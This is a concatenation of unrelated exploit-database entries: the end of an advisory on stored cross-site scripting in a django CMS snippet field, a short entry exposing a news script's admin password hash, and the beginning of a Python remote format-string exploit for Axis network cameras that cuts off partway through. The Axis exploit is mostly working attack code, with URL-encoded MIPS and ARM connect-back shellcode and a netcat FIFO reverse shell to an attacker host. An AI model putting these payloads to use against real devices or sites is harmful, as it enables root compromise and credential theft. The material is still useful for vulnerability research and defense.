POST http://django3-3-0.localhost:8080/en/admin/djangocms_snippet/snippet/2/?_to_field=id&_popup=1 
   Request Header:    
  Host[django3-3-0.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://django3-3-0.localhost:8080/en/admin/djangocms_snippet/snippet/2/?_to_field=id&_popup=1]
      Cookie[csrftoken=LSAWc8qD0fUpl1Yz11W8FMfLPYSo6Dwm; sessionid=eg4ycotyuzu144c85qd9ve12jwn1ob21; django_language=en]
Connection[keep-alive]
POST-Daten:
POSTDATA =-----------------------------30880199939743
Content-Disposition: form-data; name="csrfmiddlewaretoken"
LSAWc8qD0fUpl1Yz11W8FMfLPYSo6Dwm
-----------------------------30880199939743
Content-Disposition: form-data; name="_popup"
1
-----------------------------30880199939743
Content-Disposition: form-data; name="_to_field"
id
-----------------------------30880199939743
Content-Disposition: form-data; name="name"
test <img src="x">%20%20>"<iframe src="a">%20<iframe>  
"><"<img src="x">%20%20>"<iframe src=a>[PERSISTENT INJECTED SCRIPT CODE VIA SNIPPET NAME!]%20<iframe>
-----------------------------30880199939743
Content-Disposition: form-data; name="html"
sd
-----------------------------30880199939743
Content-Disposition: form-data; name="template"
aldryn_tour/tour.html 
-----------------------------30880199939743
Content-Disposition: form-data; name="slug"
tour
-----------------------------30880199939743
Content-Disposition: form-data; name="_save"
Save
-----------------------------30880199939743-- 
Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Mon, 04 Jul 2016 09:34:19 GMT]
      X-Aldryn-App[django-cms-3-3-demo-sopegose-stage]
      Content-Language[en]
      Expires[Mon, 04 Jul 2016 09:34:19 GMT]
      Vary[Cookie]
      Last-Modified[Mon, 04 Jul 2016 09:34:19 GMT]
      Cache-Control[no-cache, no-store, must-revalidate, max-age=0]
      X-Frame-Options[SAMEORIGIN]
      Content-Type[text/html; charset=utf-8]
      Set-Cookie[sessionid=eg4ycotyuzu144c85qd9ve12jwn1ob21; expires=Mon, 18-Jul-2016 09:34:19 GMT; Max-Age=1209600; Path=/]
-
Status: 301[MOVED PERMANENTLY]
GET http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/x[PERSISTENT SCRIPT CODE EXECUTION VIA SNIPPET NAME!] 
   Request Header:
      Host[django3-3-0.localhost:8080]   
   User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/?placeholder_id=6&plugin_type=SnippetPlugin&plugin_parent=9&plugin_language=en]
      Cookie[csrftoken=LSAWc8qD0fUpl1Yz11W8FMfLPYSo6Dwm; sessionid=eg4ycotyuzu144c85qd9ve12jwn1ob21; django_language=en]
      Connection[keep-alive]
   Response Header:
      Server[Aldryn-LoadBalancer/2.0]
      Date[Mon, 04 Jul 2016 09:34:19 GMT]
      Vary[Cookie]
      X-Frame-Options[SAMEORIGIN]
      Content-Type[text/html; charset=utf-8]
      Location[http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/x/]
      Content-Language[en]
-
Status: 200[OK]
GET http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/a/[PERSISTENT SCRIPT CODE EXECUTION VIA SNIPPET NAME!]
   Request Header:
      Host[django3-3-0.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/?placeholder_id=6&plugin_type=SnippetPlugin&plugin_parent=9&plugin_language=en]
      Cookie[csrftoken=LSAWc8qD0fUpl1Yz11W8FMfLPYSo6Dwm; sessionid=eg4ycotyuzu144c85qd9ve12jwn1ob21; django_language=en]
      Connection[keep-alive]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Mon, 04 Jul 2016 09:34:19 GMT]
      Content-Language[en]
      Expires[Mon, 04 Jul 2016 09:34:19 GMT]
      Vary[Cookie]
      Last-Modified[Mon, 04 Jul 2016 09:34:19 GMT]
      Cache-Control[no-cache, no-store, must-revalidate, max-age=0]
      X-Frame-Options[SAMEORIGIN]
	Content-Type[text/html]


Reference(s):
http://django3-3-0.localhost:8080/
http://django3-3-0.localhost:8080/en/
http://django3-3-0.localhost:8080/en/admin/
http://django3-3-0.localhost:8080/en/admin/cms/
http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/
http://django3-3-0.localhost:8080/en/admin/djangocms_snippet/snippet/
http://django3-3-0.localhost:8080/en/admin/djangocms_snippet/snippet/2/
http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/
http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/edit-plugin/
http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/edit-plugin/9/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse of the vulnerable Name input field in the add snippets editor module.
Restrict the input and disallow the usage of special chars. Escape the entries in case of emergency and use plain-text values.
Encode in the snippets module listing the vulnerable box with the name listing to prevent the execution point of the vulnerability.

Resolution:
Patches to resolve the issues have been applied to Django's master development branch and the 1.10, 1.9, and 1.8 release branches. 
The patches may be obtained from the following changesets:

-    On the development master branch
-    On the 1.10 release branch
-    On the 1.9 release branch
-    On the 1.8 release branch

The following new releases have been issued:

-    Django 1.10rc1
-    Django 1.9.8
-    Django 1.8.14

Reference(s):
https://developer.mozilla.org/en-US/docs/Web/API/element/innerHTML


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the django cms is estimated as medium. (CVSS 3.5)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 				- admin@evolution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]




-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
            
# Exploit Title: Free News Script User Password Download File
# Date: 2016-07-18
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://www.newsp.eu/index.php?pt=ns
# Version: All Version
# Download Link : http://www.newsp.eu/newsp.zip

Exploit :
http://site/admin/user.txt
Admin|e3afed0047b08059d0fada10f400c1e5|1|1|1|1|

Username = Admin
Password Hash = e3afed0047b08059d0fada10f400c1e5 [MD5]
            
#!/usr/bin/env python2.7
# 
# [SOF]
#
# [Remote Format String Exploit] Axis Communications MPQT/PACS Server Side Include (SSI) Daemon
# Research and development by bashis <mcw noemail eu> 2016
#
# This format string vulnerability has following characteristic:
# - Heap Based (Exploiting string located on the heap)
# - Blind Attack (No output the remote attacker)(*)
# - Remotly exploitable (As anonymous, no credentials needed)
#
# (*) Not so 'Blind' after all, since the needed addresses can be predicted by statistic.
#
# This exploit has following characteristic:
# - Multiple architecture exploit (MIPS/CRISv32/ARM) [From version 5.20.x]
# - Modifying LHOST/LPORT in shellcode on the fly
# - Manual exploiting of remote targets
# - Simple HTTPS support
# - Basic Authorization support (not needed for this exploit)
# - FMS dictionary and predicted addresses for GOT free() / BSS / Netcat shellcode
# - Multiple shellcodes (ARM, CRISv32, MIPS and Netcat PIPE shell)
# - Exploiting with MIPS, CRISv32 and ARM shellcode will give shell as root
# - Exploiting with ARM Netcat PIPE shell give normally shell as Anonymous (5.2x and 5.4x give shell as root)
# - Multiple FMS exploit techniques
#   - "One-Write-Where-And-What" for MIPS and CRISv32
#     Using "Old Style" POP's
#     Classic exploit using: Count to free() GOT, write shellcode address, jump to shellcode on free() call
#     Shellcode loaded in memory by sending shellcode URL encoded, that SSI daemon decodes and keeps in memory.
#   - "Two-Write-Where-And-What" for ARM
#     1) "Old Style": Writing 1x LSB and 1x MSB by using offsets for GOT free() target address
#     2) "New Style": ARM Arch's have both "Old Style" (>5.50.x) )POPs and "New Style" (<5.40.x) direct parameter access for POP/Write
#     [Big differnce in possibilities between "Old Style" and "New Style", pretty interesting actually]
# - Another way to POP with "Old Style", to be able POPing with low as 1 byte (One byte with %1c instead of eight with %8x)
# - Exploit is quite well documented
#
# Anyhow,
# Everything started from this simple remote request:
#
# ---
# $ echo -en "GET /httpDisabled.shtml?&http_user=%p|%p HTTP/1.0\n\n" | netcat 192.168.0.90 80
# HTTP/1.1 500 Server Error
# Content-Type: text/html; charset=ISO-8859-1
#
# <HTML><HEAD><TITLE>500 Server Error</TITLE></HEAD>
# <BODY><H1>500 Server Error</H1>
# The server encountered an internal error and could not complete your request.
# </BODY></HTML>
# ---
#
# Which gave this output in /var/log/messages on the remote device:
#
# ---
# <CRITICAL> Jan  1 16:05:06 axis /bin/ssid[3110]: ssid.c:635: getpwnam() failed for user: 0x961f0|0x3ac04b10
# <CRITICAL> Jan  1 16:05:06 axis /bin/ssid[3110]: ssid.c:303: Failed to get authorization data.
# ---
#
# Which resulted into an remote exploit for more than 200 unique Axis Communication MPQT/PACS products
#
# ---
# $ netcat -vvlp 31337
# listening on [any] 31337 ...
# 192.168.0.90: inverse host lookup failed: Unknown host
# connect to [192.168.0.1] from (UNKNOWN) [192.168.0.90] 55738
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),6(disk),10(wheel),51(viewer),52(operator),53(admin),54(system),55(ptz)
# pwd
# /usr/html
# ---
#
# Some technical notes:
#
# 1.  Direct addressing with %<argument>$%n is "delayed", and comes in force only after disconnect.
#     Old metod with POP's coming into force instantly
#
# 2.  Argument "0" will be assigned (after using old POP metod and %n WRITE) the next address on stack after POP's)
#     - Would be interesting to investigate why.
#
# 3.  Normal Apache badbytes: 0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20, 0x23, 0x26
#     Goodbytes: 0x01-0x08, 0x0e-0x1f, 0x21-0x22, 0x24-0x25, 0x27-0xff
#
# 3.1 Normal Boa badbytes: 0x00-0x08, 0x0b-0x0c, 0x0e-0x19, 0x80-0xff
#     Goodbytes: 0x09, 0x0a, 0x0d, 0x20-0x7f
#
# 3.2 Apache and Boa, by using URL encoded shellcode as in this exploit:
#     Badbytes = None, Goodbytes = 0x00 - 0xff (Yay!)
#
# 4.  Everything is randomized, except heap.
#
# 5.  My initial attempts to use ROP's was not good, as I didn't want to create
#     one unique FMS key by testing each single firmware version, and using ROP with FMS
#     on heap seems pretty complicated as there is one jump availible, maximum two.
#
# 5.1 Classic GOT write for free() that will jump to shellcode, was the best technique in this case.
#    
# 6.  Encoded and Decoded shellcode located in .bss section.
# 6.1 FMS excecuted on heap
#
# 7.  Vulnerable MPQT/PACS architectures: CRISv32, MIPS and ARM
# 7.1 ARM has nonexecutable stack flag bit set (>5.20.x) by default on their binaries/libs,
#     so execute shellcode on heap/stack may be impossible.
# 7.2 ARM shellcode and exploit has been verified by setting executable stack flag bit on binaries,
#     and re-compile of the image.
# 7.3 However, ARM is easily exploitable with netcat shell, that's using the builtin '/bin/sh -c' code to execute.
#
# 8.  This exploit are pretty well documented, more details can be extracted by reading
#     the code and comments.
#
# MIPS ssid maps
# 00400000-0040d000 r-xp 00000000 00:01 2272       /bin/ssid
# 0041d000-0041e000 rw-p 0000d000 00:01 2272       /bin/ssid
# 0041e000-00445000 rwxp 00000000 00:00 0          [heap]
#
# ARM ssid maps
# 00008000-00014000 r-xp 00000000 00:01 2055        /bin/ssid
# 0001c000-0001d000 rw-p 0000c000 00:01 2055        /bin/ssid
# 0001d000-00044000 rw-p 00000000 00:00 0           [heap]
#
# Crisv32 ssid maps
# 00080000-0008c000 r-xp 00000000 1f:03 115        /bin/ssid
# 0008c000-0008e000 rw-p 0000a000 1f:03 115        /bin/ssid
# 0008e000-000b6000 rwxp 0008e000 00:00 0          [heap]
#
# General notes:
#
# When the vul daemon process is exploited, and after popping root connect-back shell,
# the main process are usally restarted by respawnd, after the shell have spawned and taken over the parent process,
# when the main process are fully alive again, I can enjoy the shell, and everybody else can
# enjoy of the camera - that should make all of us happy ;)
# During exploiting, logs says almost nothing, only that the main process restarted.
# Note: Not true with ARM Netcat PIPE shell (as the code will vfork() and wait until child exits)
#
# '&http_user=' is the vuln tag, and the FMS will be excecuted when it will try to do vsyslog(),
# after ssid cannot verify the user, free() are the closest function to be called after
# vsyslog(), needed and perfect to use for jumping.
# There is nothing shown for remote user, possible output of FMS are _only_ shown in log/console.
# So we are pretty blind, but due to fixed FMS keys, that doesn't matter for us - it's predictable by statistics.
#
# Quite surprised to see so many different devices and under one major release version,
# that's covered by one "FMS key". The "FMS key" are valid for all minor versions under the major version.
#
# This made me start thinking how brilliant and clever it would be to make an sophisticated door that's using format string as backdoor,  
# which generates no FMS output whatsoever to attacker and unlocked by a 'FMS key', instead of using hardcoded login/password.    
#
# - No hardcoded login/password that could easily be found in firmware/software files.    
# - Extremely hard to find without local access (and find out what to trigger for opening the door)
# - Nobody can not actually prove it is a sophisticated door for sure. "It's just another bug.. sorry! - here is the fixed version."
#   (Only to close this door, and open another door, somewhere else, in any binary - and try make it harder to find)
#
# Note:
# I don't say that Axis Communication has made this hidden format string by this purpose.
# I can only believe it was a really stupid mistake from Axis side, after I have seen one screen-dump of the CVS changelog of SSI Daemon,    
# and another screen-dump with the change made late 2009, from non-vulnerable to vulnerable, in the affected code of logerr().
#
# Vulnerable and exploitable products
#
# A1001, A8004-VE, A9188, C3003, F34, F41, F44, M1124, M1124-E, M1125, M1125-E, M1145, M1145-L, M3006,
# M3007, M3026, M3027, M3037, M7010, M7011, M7014, M7016, P1125, P1353, P1354, P1355, P1357, P1364,
# P1365, P1405, P1405-E, P1405-LE, P1425-E, P1425-LE, P1427, P1427-E, P1435, P3214, P3214-V, P3215,
# P3215-V, P3224, P3224-LVE, P3225-LV, P3353, P3354, P3363, P3364, P3364-L, P3365, P3367, P3384,
# P3707-PE, P3904, P3904-R, P3905, P3915-R, P5414-E, P5415-E, P5514, P5514-E, P5515, P5515-E, P5624,
# P5624-E, P5635-E, P7210, P7214, P7216, P7224, P8535, Q1602, Q1604, Q1614, Q1615, Q1635, Q1635-E,
# Q1765-LE, Q1765-LE-PT, Q1775, Q1931-E, Q1931-E-PT, Q1932-E, Q1932-E-PT, Q1941-E, Q2901-E, Q2901-E-PT,
# Q3504, Q3505, Q6000-E, Q6042, Q6042-C, Q6042-E, Q6042-S, Q6044, Q6044-C, Q6044-E, Q6044-S, Q6045,
# Q6045-C, Q6045-E, Q6045-S, Q6114-E, Q6115-E, Q7411, Q7424-R, Q7436, Q8414, Q8414-LVS, Q8631-E, Q8632-E,
# Q8665-E, Q8665-LE, V5914, V5915, M1054, M1103, M1104, M1113, M1114, M2014-E, M3014, M3113, M3114, M3203,
# M3204, M5013, M5014, M7001, P12/M20, P1204, P1214, P1214-E, P1224-E, P1343, P1344, P1346, P1347, P2014-E,
# P3301, P3304, P3343, P3344, P3346, P3346-E, P5512, P5512-E, P5522, P5522-E, P5532, P5532-E, P5534, P5534-E,
# P5544, P8221, P8513, P8514, P8524, Q1755, Q1910, Q1921, Q1922, Q6032, Q6032-C, Q6032-E, Q6034, Q6034-C,
# Q6034-E, Q6035, Q6035-C, Q6035-E, Q7401, Q7404, Q7406, Q7414, Q8721-E, Q8722-E, C, M1004-W, M1011, M1011-W,
# M1013, M1014, M1025, M1031-W, M1033-W, M1034-W, M1143-L, M1144-L, M3004, M3005, M3011, M3024, M3024-L,
# M3025, M3044-V, M3045-V, M3046-V, P1311, P1428-E, P7701, Q3709-PVE, Q3708-PVE, Q6128-E... and more
#
# http://origin-www.axis.com/ftp/pub_soft/MPQT/SR/service-releases.txt
#
# Firmware versions vulnerable to the SSI FMS exploit
#
# ('V.Vx' == The FMS key used in this exploit)
#
# Firmware	Introduced	CRISv32		MIPS		ARM (no exec heap from >5.20.x)
# 5.00.x	2008		-		-		no
# 5.01.x	2008		no		-		no
# 5.02.x	2008		no		-		-
# 5.05.x	2009		no		-		-
# 5.06.x	2009		no		-		-
# 5.07.x	2009		no		-		no
# 5.08.x	2010		no		-		-
# 5.09.x	2010		no		-		-
# 5.10.x	2009		no		-		-
# 5.11.x	2010		no		-		-
# 5.12.x	2010		no		-		-
# 5.15.x	2010		no		-		-
# 5.16.x	2010		no		-		-
# 5.20.x	2010-2011	5.2x		-		5.2x
# 5.21.x	2011		5.2x		-		5.2x
# 5.22.x	2011		5.2x		-		-
# 5.25.x	2011		5.2x		-		-
# 5.40.x	2011		5.4x		5.4x		5.4x
# 5.41.x	2012		5.4x		-		-
# 5.50.x	2013		5.5x		5.5x		5.4x
# 5.51.x	2013		-		5.4x		-
# 5.55.x	2013		-		5.5x		5.5x
# 5.60.x	2014		-		5.6x		5.6x
# 5.65.x	2014-2015	-		5.6x		-
# 5.70.x	2015		-		5.7x		-
# 5.75.x	2015		-		5.7x		5.7x
# 5.80.x	2015		-		5.8x		5.8x
# 5.81.x	2015		-		5.8x		-
# 5.85.x	2015		-		5.8x		5.8x
# 5.90.x	2015		-		5.9x		-
# 5.95.x	2016		-		5.9x		5.8x
# 6.10.x	2016		-		6.1x		-
# 6.15.x	2016		-		-		6.1x
# 6.20.x	2016		-		6.2x		-
#
# Vendor URL's of still supported and affected products
#
# http://www.axis.com/global/en/products/access-control
# http://www.axis.com/global/en/products/video-encoders
# http://www.axis.com/global/en/products/network-cameras
# http://www.axis.com/global/en/products/audio
#
# Axis Product Security
#
# product-security@axis.com
# http://www.axis.com/global/en/support/product-security
# http://origin-www.axis.com/ftp/pub_soft/MPQT/SR/service-releases.txt
# http://www.axis.com/global/en/support/faq/FAQ116268
#
# Timetable
#
# - Research and Development: 06/01/2016 - 01/06/2016
# - Sent vulnerability details to vendor: 05/06/2016
# - Vendor responce received: 06/06/2016
# - Vendor ACK of findings received: 07/06/2016
# - Vendor sent verification image: 13/06/2016
# - Confirmed that exploit do not work after vendors correction: 13/06/2016
# - Vendor informed about their service release(s): 29/06/2016
# - Sent vendor a copy of the (this) PoC exploit: 29/06/2016
# - Full Disclosure: 18/07/2016
#
# Quote of the day: Never say "whoops! :o", always say "Ah, still interesting! :>"
#
# Have a nice day
# /bashis
#
#####################################################################################

import sys
import string
import socket
import time
import argparse
import urllib, urllib2, httplib
import base64
import ssl
import re


class do_FMS:

#	POP = "%8x"		# Old style POP's with 8 bytes per POP
	POP = "%1c"		# Old style POP's with 1 byte per POP
	WRITElln = "%lln"	# Write 8 bytes
	WRITEn = "%n"		# Write 4 bytes
	WRITEhn = "%hn"		# Write 2 bytes
	WRITEhhn = "%hhn"	# Write 1 byte

	def __init__(self,targetIP,verbose):
		self.targetIP = targetIP
		self.verbose = verbose
		self.fmscode = ""

	# Mostly used internally in this function
	def Add(self, data):
		self.fmscode += data

	# 'New Style' Double word (8 bytes)
	def AddDirectParameterLLN(self, ADDR):
		self.Add('%')
		self.Add(str(ADDR))
		self.Add('$lln')

	# 'New Style' Word (4 bytes)
	def AddDirectParameterN(self, ADDR):
		self.Add('%')
		self.Add(str(ADDR))
		self.Add('$n')

	# 'New Style' Half word (2 bytes)
	def AddDirectParameterHN(self, ADDR):
		self.Add('%')
		self.Add(str(ADDR))
		self.Add('$hn')

	# 'New Style' One Byte (1 byte)
	def AddDirectParameterHHN(self, ADDR):
		self.Add('%')
		self.Add(str(ADDR))
		self.Add('$hhn')

	# Addressing
	def AddADDR(self, ADDR):
		self.Add('%')
		self.Add(str(ADDR))
		self.Add('u')

	# 'Old Style' POP
	def AddPOP(self, size):
		if size != 0:
			self.Add(self.POP * size)

	# Normally only one will be sent, multiple is good to quick-check for any FMS
	#
	# 'Old Style' Double word (8 bytes)
	def AddWRITElln(self, size):
			self.Add(self.WRITElln * size)

	# 'Old Style' Word (4 bytes)
	def AddWRITEn(self, size):
			self.Add(self.WRITEn * size)

	# 'Old Style' Half word (2 bytes)
	def AddWRITEhn(self, size):
			self.Add(self.WRITEhn * size)

	# 'Old Style' One byte (1 byte)
	def AddWRITEhhn(self, size):
			self.Add(self.WRITEhhn * size)

	# Return the whole FMS string
	def FMSbuild(self):
		return self.fmscode

class HTTPconnect:

	def __init__(self, host, proto, verbose, creds, noexploit):
		self.host = host
		self.proto = proto
		self.verbose = verbose
		self.credentials = creds
		self.noexploit = noexploit
	
	# Netcat remote connectback shell needs to have raw HTTP connection as we using special characters as '\t','$','`' etc..
	def RAW(self, uri):
		# Connect-timeout in seconds
		timeout = 5
		socket.setdefaulttimeout(timeout)
		
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
		tmp = self.host.split(':')
		HOST = tmp[0]
		PORT = int(tmp[1])
		if self.verbose:
			print "[Verbose] Sending to:", HOST
			print "[Verbose] Port:", PORT
			print "[Verbose] URI:",uri
		s.connect((HOST, PORT))
		s.send("GET %s HTTP/1.0\r\n\r\n" % uri)
		html = (s.recv(4096)) # We really do not care whats coming back
#		if html:
#			print "[i] Received:",html
		s.shutdown(3)
		s.close()
		return html


	def Send(self, uri):

		# The SSI daemon are looking for this, and opens a new FD (5), but this does'nt actually
		# matter for the functionality of this exploit, only for future references.
		headers = { 
			'User-Agent' : 'MSIE',
		}

		# Connect-timeout in seconds
		timeout = 5
		socket.setdefaulttimeout(timeout)

		url = '%s://%s%s' % (self.proto, self.host, uri)

		if self.verbose:
			print "[Verbose] Sending:", url

		if self.proto == 'https':
			if hasattr(ssl, '_create_unverified_context'):
				print "[i] Creating SSL Default Context"
				ssl._create_default_https_context = ssl._create_unverified_context

		if self.credentials:
			Basic_Auth = self.credentials.split(':')
			if self.verbose:
				print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]
			try:
				pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
				pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
				auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
				opener = urllib2.build_opener(auth_handler)
				urllib2.install_opener(opener)
			except Exception as e:
				print "[!] Basic Auth Error:",e
				sys.exit(1)

		if self.noexploit and not self.verbose:
			print "[<] 204 Not Sending!"
			html =  "Not sending any data"
		else:
			data = None
			req = urllib2.Request(url, data, headers)
			rsp = urllib2.urlopen(req)
			if rsp:
				print "[<] %s OK" % rsp.code
				html = rsp.read()
		return html


class shellcode_db:

	def __init__(self,targetIP,verbose):
		self.targetIP = targetIP
		self.verbose = verbose

	def sc(self,target):
		self.target = target


# Connect back shellcode
#
# CRISv32: Written by myself, no shellcode availible out on "The Internet"
# NCSH: My PoC of netcat FIFO / PIPE reverese shell, w/o '-e' option and with $IFS as separators
# MIPSel: Written by Jacob Holcomb (url encoded by me)
# ARM: http://shell-storm.org/shellcode/files/shellcode-754.php
#
		# Slightly modified syscall's
		MIPSel = string.join([
		#close stdin
		"%ff%ff%04%28" #slti	a0,zero,-1
		"%a6%0f%02%24" #li	v0,4006
		"%4c%f7%f7%03" #syscall	0xdfdfd
		#close stdout
		"%11%11%04%28" #slti	a0,zero,4369
		"%a6%0f%02%24" #li	v0,4006
		"%4c%f7%f7%03" #syscall 0xdfdfd
		#close stderr
		"%fd%ff%0c%24" #li	t4,-3
		"%27%20%80%01" #nor	a0,t4,zero
		"%a6%0f%02%24" #li	v0,4006
		"%4c%f7%f7%03" #syscall 0xdfdfd
		# socket AF_INET (2)
		"%fd%ff%0c%24" #li	t4,-3
		"%27%20%80%01" #nor	a0,t4,zero
		"%27%28%80%01" #nor	a1,t4,zero
		"%ff%ff%06%28" #slti	a2,zero,-1
		"%57%10%02%24" #li	v0,4183
		"%4c%f7%f7%03" #syscall 0xdfdfd
		#
		"%ff%ff%44%30" # andi $a0, $v0, 0xFFFF
		#
		# dup2 stdout
		"%c9%0f%02%24" #li	v0,4041
		"%4c%f7%f7%03" #syscall 0xdfdfd
		#
		# dup2 stderr
		"%c9%0f%02%24" #li	v0,4041
		"%4c%f7%f7%03" #syscall 0xdfdfd
		#
		# Port
		"PP1PP0%05%3c"
		"%01%ff%a5%34"
		#
		"%01%01%a5%20" #addi	a1,a1,257
		"%f8%ff%a5%af" #sw	a1,-8(sp)
		#
		# IP
		"IP3IP4%05%3c"
		"IP1IP2%a5%34"
		#
		"%fc%ff%a5%af" #sw	a1,-4(sp)
		"%f8%ff%a5%23" #addi	a1,sp,-8
		"%ef%ff%0c%24" #li	t4,-17
		"%27%30%80%01" #nor	a2,t4,zero
		"%4a%10%02%24" #li	v0,4170
		"%4c%f7%f7%03" #syscall 0xdfdfd
		#
		"%62%69%08%3c" #lui	t0,0x6962
		"%2f%2f%08%35" #ori	t0,t0,0x2f2f
		"%ec%ff%a8%af" #sw	t0,-20(sp)
		"%73%68%08%3c" #lui	t0,0x6873
		"%6e%2f%08%35" #ori	t0,t0,0x2f6e
		"%f0%ff%a8%af" #sw	t0,-16(sp
		"%ff%ff%07%28" #slti	a3,zero,-1
		"%f4%ff%a7%af" #sw	a3,-12(sp)
		"%fc%ff%a7%af" #sw	a3,-4(sp
		"%ec%ff%a4%23" #addi	a0,sp,-20
		"%ec%ff%a8%23" #addi	t0,sp,-20
		"%f8%ff%a8%af" #sw	t0,-8(sp)
		"%f8%ff%a5%23" #addi	a1,sp,-8
		"%ec%ff%bd%27" #addiu	sp,sp,-20
		"%ff%ff%06%28" #slti	a2,zero,-1
		"%ab%0f%02%24" #li	v0,4011 (execve)
		"%4c%f7%f7%03" #syscall 0xdfdfd
		], '')	

		# Working netcat shell
		# - $PATH will locate 'mkfifo', 'nc' and 'rm'
		# - LHOST / LPORT will be changed on the fly later in the code
		# - 1) make FIFO, 2) netcat back to attacker with STDIN to /bin/sh, and PIPE STDOUT back to the remote via FIFO, 3) remove FIFO when exiting
		# - $IFS = <space><tab><newline> [By default, and we need <space> or <tab> as separator]
		# $ echo -n "$IFS" | hexdump -C
		# 00000000  20 09 0a
		# - $PS1 = $ [By default, and we need something to "comment" out our trailing FMS code from /bin/sh -c]
		#
		# '2>/tmp/s' (STDERR > FIFO) Don't work with $IFS as separator
		#
		# Working with Apache and Boa
#		NCSH = "mkfifo$IFS/tmp/s;nc$IFS-w$IFS\"5\"$IFS\"LHOST\"$IFS\"LPORT\"$IFS0</tmp/s|/bin/sh>/tmp/s\"$IFS\"2>/tmp/s;rm$IFS/tmp/s;$PS1"
		NCSH = "mkfifo$IFS/tmp/s;nc$IFS-w$IFS\"5\"$IFS\"LHOST\"$IFS\"LPORT\"$IFS0</tmp/s|/bin/sh>/tmp/s;rm$IFS/tmp/s;$PS1"

		ARMel = string.join([
		# original: http://shell-storm.org/shellcode/files/shellcode-754.php
		# 32-bit instructions, enter thumb mode
		"%01%10%8f%e2"	# add r1, pc, #1
		"%11%ff%2f%e1"	# bx r1

		# 16-bit thumb instructions follow
		#
		# socket(2, 1, 0)
		"%02%20"	#mov     r0, #2
		"%01%21"	#mov     r1, #1
		"%92%1a"	#sub     r2, r2, r2
		"%0f%02"	#lsl     r7, r1, #8
		"%19%37"	#add     r7, r7, #25
		"%01%df"	#svc     1
		#
		# connect(r0, &addr, 16)
		"%06%1c"	#mov     r6, r0
		"%08%a1"	#add     r1, pc, #32
		"%10%22"	#mov     r2, #16
		"%02%37"	#add     r7, #2
		"%01%df"	#svc     1
		#
		# dup2(r0, 0/1/2)
		"%3f%27"	#mov     r7, #63
		"%02%21"	#mov     r1, #2
		#
		#lb:
		"%30%1c"	#mov     r0, r6
		"%01%df"	#svc     1
		"%01%39"	#sub     r1, #1
		"%fb%d5"	#bpl     lb
		#
		# execve("/bin/sh", ["/bin/sh", 0], 0)
		"%05%a0"	#add     r0, pc, #20
		"%92%1a"	#sub     r2, r2, r2
